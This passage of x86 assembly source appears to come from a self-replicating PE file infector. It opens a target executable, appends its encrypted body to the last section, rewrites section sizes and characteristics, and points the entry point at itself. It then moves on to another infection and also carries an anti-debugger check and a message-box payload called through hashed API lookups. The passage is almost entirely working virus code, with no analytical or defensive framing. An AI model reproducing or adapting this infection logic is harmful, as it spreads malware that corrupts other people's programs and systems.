mov [OpenFileHandle+ebp],eax
push eax
push 0h
push eax
movd ecx,mm6
call ecx ;calling GetFileSizeA
add eax,other - mylabel
mov [ebp+FileSize],eax
mov edx,eax
pop eax
lea ebx,[FindData+2Ch+ebp]
push ebx
push edx
push 0h
push PAGE_READWRITE
push 0h
push eax
movd ecx,mm4
call ecx ;Calling CreateFileMappingA
mov edx,[FileSize+ebp]
push edx
push 0h
push 0h
push FILE_MAP_ALL_ACCESS
push eax
movd ecx,mm5
call ecx ;calling MapViewOfFile
mov [AddressOfFileMap+ebp],eax
push eax
add eax,3Ch ;get the magic jump
mov eax,dword ptr[eax] ;get the magic jump
pop ecx
add eax,ecx
add eax,6h 
xor ecx,ecx
mov cx,word ptr[eax] ;get NumberOfSections
mov [NumberOfSections+ebp],cx
add eax,22h
mov ecx,dword ptr[eax] ;get address of entry point
mov [ebp+EntryPoint],ecx
add eax,0Ch
mov ecx,dword ptr[eax] ;get the imagebase
mov [ImageBase+ebp],ecx
add eax,1Ch
mov [ebp+OpenFileHandle],eax ;offset of sizeOfiMAGE
sub eax,50h ;back to value of magic jump
push eax
add eax,0F8h ;go to the end of PE header 
xor ecx,ecx
mov cx,[NumberOfSections+ebp]
dec cx
mov ebx,28h
imul ecx,ebx ;get beginning of last PE section
add eax,ecx ;normalize the offset
mov [ebp+LastSectionOff],eax
add eax,0Ch ;skip section name and virtual size to get virtual address
mov ecx,dword ptr[eax]
mov [VirtualAddress+ebp],ecx
sub eax,4
mov ecx,dword ptr[eax]
mov [ebp+VirtualSize],ecx
add dword ptr[eax],other - mylabel ;write virtualsize
mov [ebp+SizeOfRawData],eax ;virtual size offset
add eax,0Ch
mov ecx,dword ptr[eax]
mov [ebp+RawOffset],ecx ;raw offset

jmp justMissThis

modifyRawSize:

sub eax,ecx
xchg eax,ecx
mov eax,[ebp+SizeOfRawData] ;offset of virtual size
sub dword ptr [eax],other - mylabel
mov edx,[ebp+OpenFileHandle] ;sizeofimage
sub dword ptr [edx],ecx ;modify size of image 
sub dword ptr[edx],other - mylabel
push eax ;offset of virtual size
mov eax,dword ptr[eax]
xor edx,edx
mov ecx,200h
div ecx
inc eax
mul ecx

pop ebx
add ebx,8
mov ecx,dword ptr[ebx]
push eax
sub eax,ecx ;new raw size - old raw size
sub eax,other - mylabel
xchg eax,ecx
pop eax
sub eax,ecx
mov [ebp+SizeOfRawData],eax ;number of garbage bytess
mov dword ptr[ebx],eax ;write SizeOfRawData
jmp afterModifyRawSize

CheckForDebugger proc
mov esi,808h 
add ebx,2h
cmp byte ptr[ebx],0h
jnz Debugged
add ebx,66h
cmp byte ptr[ebx],0h
jnz Debugged
sub ebx,50h
mov ebx,dword ptr[ebx]
add ebx,10h
cmp dword ptr[ebx],eax
jz NotDebugged
Debugged:
xor esi,777h
push esi
Ret
NotDebugged:
 Ret
CheckForDebugger EndP
justMissThis:
mov eax,[ebp+AddressOfFileMap]
add eax,[FileSize+ebp]
sub eax,other - mylabel
xor esi,esi
jmp backonebyte+1h
backonebyte:
dec eax
inc esi
cmp dword ptr[eax],00h
je backonebyte

;int 3
push eax
xor ecx,ecx
mov cl,al
sub eax,ecx ;get random key for the xor encryption
mov cl,byte ptr[eax]
mov [ebp+xorkey],cl
pop eax

inc eax
sub esi,2h
push eax
sub eax,[ebp+AddressOfFileMap]
sub eax,[ebp+RawOffset]
add eax,[ebp+VirtualAddress]
add eax,[ebp+ImageBase]
add eax,beforeep - mylabel
mov [ebp+NewEP],eax
pop eax
push eax
lea edx,[ebp+other]
lea ecx,[ebp+mylabel]
write:
mov bl,byte ptr[ecx]
mov byte ptr[eax],bl
inc ecx
inc eax
cmp ecx,edx
jnz write

;int 3
push eax
push ebx
sub eax,other - mylabel
mov ebx,eax
add ebx,encryption - mylabel
mov cl,[ebp+xorkey]
encryptmore:
inc eax
xor byte ptr[eax],cl
cmp eax,ebx ;encrypt the strings
jnz encryptmore
pop ebx
pop eax


mov ecx,[ebp+FileSize]
sub ecx,other - mylabel
add ecx,[ebp+AddressOfFileMap]
cmp eax,ecx

jle dontModifyRawSize
jmp modifyRawSize
dontModifyRawSize:
mov edx,[ebp+OpenFileHandle] ;sizeofimage
add dword ptr [edx],other - mylabel ;modify size of image
afterModifyRawSize:

mov eax,[ebp+LastSectionOff]
add eax,24h
mov dword ptr[eax],0E00000E0h
mov eax,[ebp+AddressOfFileMap]
push eax
add eax,3Ch
mov eax,dword ptr[eax]
pop edx
add eax,edx
add eax,28h
mov ecx,[ebp+NewEP]
sub ecx,[ebp+ImageBase]
mov dword ptr[eax],ecx

pop edx
pop eax
push edx
savetofile:
pop edx
sub edx,[ebp+AddressOfFileMap]
add edx,other - mylabel
mov ecx,[ebp+AddressOfFileMap]


push edx
push ecx
movd ecx,mm7
call ecx

jmp OneMoreInfection
readyforEP:
igotoEP db 6 dup(?)
;int 3
preparetoexe:
;prepare to execute the main program
jmp letsgotoEP
itsdone:
jmp readytoexe
letsgotoEP:
lea ecx,[ebp+igotoEP]
mov byte ptr[ecx],68h
add ecx,1h
mov eax,[ebp+EntryPoint]
add eax,[ebp+ImageBase]
mov dword ptr[ecx],eax
add ecx,4h
mov byte ptr[ecx],0C3h
jmp itsdone

PayLoad:

pop esi ;ImageBase of kernel32
pop edi ;export table of kernel32
mov ebx,0A216A185h ;LoadLibrary
xor eax,eax
call GetApis
lea eax,[ebp+dllname]
push eax
call ecx ;load user32.dll 
xchg esi,eax
call GetKernel
mov ebx,9A9C4525h 
xor eax,eax
call GetApis ;get messagebox addr

lea eax,[ebp+payload]
xor ebx,ebx
push MB_ICONERROR
push 0h
push eax
push 0h
call ecx ; call messagebox
jmp readyforEP  
other label near
end start